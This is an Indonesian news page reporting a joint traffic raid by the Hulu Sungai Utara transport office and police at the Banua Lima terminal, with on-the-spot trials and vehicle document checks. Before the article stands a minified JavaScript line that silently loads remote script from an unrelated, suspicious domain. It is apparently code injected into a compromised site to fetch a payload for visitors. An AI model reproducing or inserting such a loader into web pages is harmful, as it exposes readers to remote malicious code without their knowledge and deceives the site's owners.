(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Puluhan pengendara roda dua dan empat terjaring razia terpadu yang digelar Dinas Perhubungan Hulu Sungai Utara (HSU) bersama dengan Satuan Lalulintas Polres HSU. Kegiatan ini digelar di terminal angkutan banua lima tepat berada di halaman Kantor Dishub HSU, Kamis (11/10).
Razia terpadu merupakan program terbarunya implementasi proyek “Sipalui Raja Adat” akronim dari Perubahan Sistem Pengelolaan Lalulintas Rambu-Rambu Jalan Angkutan Darat. Hal tersebut diungkapkan Kepala Dinas Perhubungan HSU H. Hamdani, saat memimpin razia terpadu beserta sejumlah anggota TNI, Satlantas Polres HSU, bekerja sama dengan unsur terkait seperti Jasa Raharja, Samsat, Pengadilan dan Kejaksaan Tinggi HSU.
Razia ini dilaksanakan berpindah-pindah dan tidak bertumpu pada satu titik lokasi. Dimana sehari sebelumnya digelar di Area pasar rakyat muara Tapus Jl. Trans Kalimantan, sedang pada hari kedua digelar diterminal angkutan banua lima tepat berada dihalaman kantor Dinas Perhubungan Kabupaten HSU.
Kepala Dishub HSU H. Hamdani, adapun peluncuran program “Sipalui Raja Adat” adalah dalam rangka menumbuh kembangkan kesadaran masyarakat Tentang arti pentingnya tertib berlalulintas. Untuk itu di lakukan tahapan razia terpadu bersama instansi terkait.
“Dalam pelaksanaan ini di harapkan akan menimbulkan kesadaran tertib berlalulintas untuk menjaga keselamatan dalam berkendara serta mengurangi tingkat kecelakaan lalulintas,” kata Hamdani.
Dirinya menambahkan, bagi kenderaan yang terjaring pelanggaran langsung di lakukan sidang di tempat. Pihak pengadilan dan kejaksaan serta bagi yang surat dan pajak kenderaan sudah habis masa berlakunya dapat langsung melakukan perpanjangan masa berlaku di lokasi melalui layanan mobil samsat keliling.
Sementara itu Kasat Lantas Polres HSU Iptu R. Djoko Setiawan mengharapkan kegiatan ini dapat menciptakan situasi lalulintas yang aman dan kondosif. “Tujuannya mengurangi angka kecelakaan serta masyarakat sadar hukum di wilayah hukum polres Hulu Sungai Utara,” katanya.
Adapun sasaran dalam Operasi Razia Terpadu kali ini yaitu pengendara yang melintas, baik roda dua maupun roda empat, termasuk mobil angkutan seperti truck, pick up, taksi dan lain sebagainya.
Sedangkan pemberhentian dilakukan untuk dilakukan pemeriksaan kelengkapan surat-surat seperti SIM serta STNK, dan untuk kendaraan angkutan roda empat yang membawa muatan atau barang diperiksa surat uji KIR dan izin angkut untuk mobil yang dilengkapi dengan bak. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More
KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More
KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More
This website uses cookies.